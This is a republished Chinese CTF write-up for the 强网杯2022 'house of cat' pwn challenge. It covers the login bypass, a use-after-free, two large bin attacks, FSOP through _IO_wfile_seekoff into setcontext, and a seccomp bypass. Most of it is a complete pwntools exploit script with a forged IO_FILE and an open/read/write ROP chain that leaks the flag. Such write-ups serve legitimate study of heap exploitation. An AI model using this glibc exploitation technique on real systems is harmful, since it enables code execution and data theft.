ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[PWN]强网杯2022 house of cat

2022-09-10 21:00:09  阅读:231  来源: 互联网

标签:p64 libc pay pop cat 强网杯 base PWN xff


IDA分析 0 一个初始化函数,然后进一个while循环,memset 一块空间往里面读入数据交给 sub_19D6 函数处理 0 初始化函数设置缓冲区,开了沙盒,然后把一个libc的地址存到bss段上,然后给变量 qword_4168 赋值为 64 0 sub_155E 函数把变量 qword_4168 的值64放到那个 libc 地址中 0 然后分配一块空间,读入数据,进到处理函数 sub_19D6 该函数如果 login 函数返回真则进入sub_1DF3 函数 0 login 函数 0 首先判断第一块空间里是否有 QWB 没有的话返回0,有的话,把 QW 去掉然后 B 换成空格 然后把first_memset用空格切割,第一块里面如果是 LOGIN 就把 second_memset + 8 的位置写上1 0 如果是DOG CAT ....就分别写上 2 3 .... 0 first_memset 中的第二块必须要有 | 否则返回0,然后把第二块的值写到 second_memset 中 第三块必须是 r00t 否则返回0,这里的v5就是QWB后面的字符串,把QWB后面的字符串+5开始写到 second_memset + 16 中1 判断 v5 中是否有 QWXF 没有返回0,有把 QWX 写为0 ,F写为空格 所以要返回 1 ,first_memset 中必须要有QWB,QWB后面得有QWXF,然后通过空格分割 first_memset 第二块要有 | 第三块是r00t 0 然后看 sub_1DF3 函数,如果 second_memset + 8 是1 即first_memset 通过空格分割第一块是LOGIN ,而且 second_memset + 16 的位置是 admin 即从 QWB 开始 + 8 位置是 admin 则 dword_4040[0] 写入1,如果 second_memset + 8是3的话进入下面的循环 所以我们先输入 LOGIN | r00t QWBQWXF admin 将 dword_4040[0]写为1 然后把LOGIN 换成 CAT 进入下面的分支 然后后会把 second_memset + 16 的位置即 从QWB 开始 +8 的位置以 $ 分割,如果是dword_4014 即 0FFFFFFFF 就进入下面的分支 所以第二次我们输入 CAT | r00t QWBQWXF $\xff\xff\xff\xff 后面的话就是一个菜单题了 menu 函数可以看出程序实现了4个功能 0 0 我们一个个看,首先是add 0 通过calloc申请堆块,能申请0xF个且大小都为large chunk大小 然后是delete 0 存在 UAF漏洞 然后是 show 0 输出0x30大小 最后是mini_edit 0 可以修改0x30大小,然后可以修改两次 0 有 UAF 又有两次 edit ,即有两次large bin attack的机会 seccomp-tools 查看沙盒 0 只允许 getrandom / open / close / mmap / brk / exit_group / read / write 系统调用,且 read的时候 fd 必须为 0 所以可以先 close(0) 然后在 open ,这样拿到的fd就是0了 我们可以第一次 large bin attack 打 stderr 然后第二次 large bin attack 打 top_chunk 的size,最终进入 _malloc_assert 然后执行相关 IO 函数     首先我们看house of cat中利用的函数 _IO_wfile_seekoff ,如果说 was_writing 是true就会进入 _IO_switch_to_wget_mode 函数执行,所以这里 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 满足这个条件之后,进入 _IO_switch_to_wget_mode 函数 0 我们进入 _IO_switch_to_wget_mode 函数看到如果满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base 则会去执行 _IO_WOVERFLOW(fp. WEOP) 函数 0 我们来看该函数的汇编代码, 0 所以可以构造如下io_file 0 exp如下
from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall

context.terminal = ['tmux', 'split', '-h']
# context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary = './house_of_cat'
ip = ''
port = 0
gs = '''
b _IO_switch_to_wget_mode
c
'''

sh = process(binary)
# sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')

ru = lambda x,drop = False : sh.recvuntil(x, drop)
sn = lambda x : sh.send(x)
rl = lambda : sh.recvline()
sl = lambda x : sh.sendline(x)
rv = lambda x : sh.recv(x)
sa = lambda a,b : sh.sendafter(a,b)
sla = lambda a,b : sh.sendlineafter(a,b)

def int2bytes(num):
    return str(num).encode('utf-8')
def malloc(idx, size, content):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n',int2bytes(1))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
    sla(b'plz input your cat size:\n',int2bytes(size))
    sa(b'plz input your content:\n',content)
def edit(idx, content):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(4))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
    sa(b'plz input your content:\n', content)
def free(idx):
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(2))
    sla(b'plz input your cat idx:\n',int2bytes(idx))
def show(idx):  
    sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
    sla(b'plz input your cat choice:\n', int2bytes(3))
    sla(b'plz input your cat idx:\n',int2bytes(idx))

sa(b'mew mew mew~~~~~~', b'LOGIN | r00t QWBQWXF admin')


malloc(0, 0x418, b'aaaa')
malloc(1, 0x428, b'flag')
malloc(2, 0x428, b'cccc')
malloc(3, 0x418, b'dddd')
free(0)
free(2)
show(0)
rl()
libc_base = u64(rv(8)) - 0x219ce0
heap_base = u64(rv(8)) - 0xae0

log.success('libc_base ==> ' + hex(libc_base))
log.success('heap_base ==> ' + hex(heap_base))


pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f497
pop_rcx = libc_base + 0x8c6bb
ret = libc_base + 0x29cd6
pop_rax = libc_base + 0x45eb0

close_addr = libc_base + libc.sym['close']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

flag_addr = heap_base + 0x6c0
stderr_addr = libc_base + 0x21a860
top_chunk = heap_base + 0x31b0
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
vtable = io_wfile_jumps + 0x10
setcontext = libc_base + libc.sym['setcontext']
close=libc_base + libc.sym['close']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
syscallret=libc_base + next(libc.search(asm('syscall\nret')))
log.success('io_wfile_jumps ==> ' + hex(io_wfile_jumps))


_wide_data = heap_base + 0x1340
rdx = _wide_data + 0x100
rax2 = heap_base + 0x1780
rop11 = rdx + 0xb0

io_file = b''
io_file = io_file.ljust(0x30, b'\x00')

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(heap_base + 0x6c0 + 0x100)
io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(_wide_data)
io_file = io_file.ljust(0xd8, b'\x00')
io_file += p64(vtable)

malloc(4, 0x418, io_file[0x10:]) # IO_FILE


pay = b'ppp'
pay = pay.ljust(0x20, b'\x00')
pay += p64(rdx)
pay = pay.ljust(0xe0, b'\x00')
pay += p64(rax2)
pay = pay.ljust(0x100, b'\x00')
# =======rdx=======
pay += b'\x00' * 0xa0
pay += p64(rop11)
pay += p64(ret)
# ========rop=========
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(close_addr)
pay += p64(pop_rdi)
pay += p64(flag_addr)
pay += p64(pop_rsi)
pay += p64(0)
pay += p64(pop_rax)
pay += p64(2)
pay += p64(syscallret)
pay += p64(pop_rdi)
pay += p64(0)
pay += p64(pop_rsi)
pay += p64(flag_addr)
pay += p64(pop_rdx_r12)
pay += p64(0x50)
pay += p64(0)
pay += p64(read_addr)
pay += p64(pop_rdi)
pay += p64(1)
pay += p64(write_addr)


malloc(5, 0x438, pay)   # heapbase + 0x1340
edit(2, p64(libc_base + 0x21a0d0) * 2 + p64(heap_base + 0xae0) + p64(stderr_addr - 0x20))
free(4)
malloc(6, 0x438, b'\x00' * 0x18 + p64(setcontext + 61))       # rax2

malloc(7, 0x458, b'hhhh')
malloc(8, 0x468, b'a')
malloc(9, 0x448, b'jjjj')
malloc(10, 0x468, b'a')
free(7)
malloc(11, 0x468, b'kkkk')
edit(7, p64(libc_base + 0x21a0e0) * 2 + p64(heap_base + 0x1bb0) + p64(top_chunk - 0x20 + 3))

free(9)

gdb.attach(sh, gs)
# pause()

sa(b'mew mew mew~~~~~~', b'CAT | r00t QWBQWXF $\xff\xff\xff\xff')
sla(b'plz input your cat choice:\n',int2bytes(1))
sla(b'plz input your cat idx:\n',int2bytes(12))
sla(b'plz input your cat size:\n',int2bytes(0x468))




sh.interactive()


'''
0x000000000002a3e5: pop rdi; ret;
0x000000000002be51: pop rsi; ret;
0x000000000011f497: pop rdx; pop r12; ret;
0x000000000008c6bb: pop rcx; ret;
0x0000000000029cd6: ret;
0x0000000000045eb0: pop rax; ret;
'''

  

   

标签:p64,libc,pay,pop,cat,强网杯,base,PWN,xff
来源: https://www.cnblogs.com/boycc1/p/16678370.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有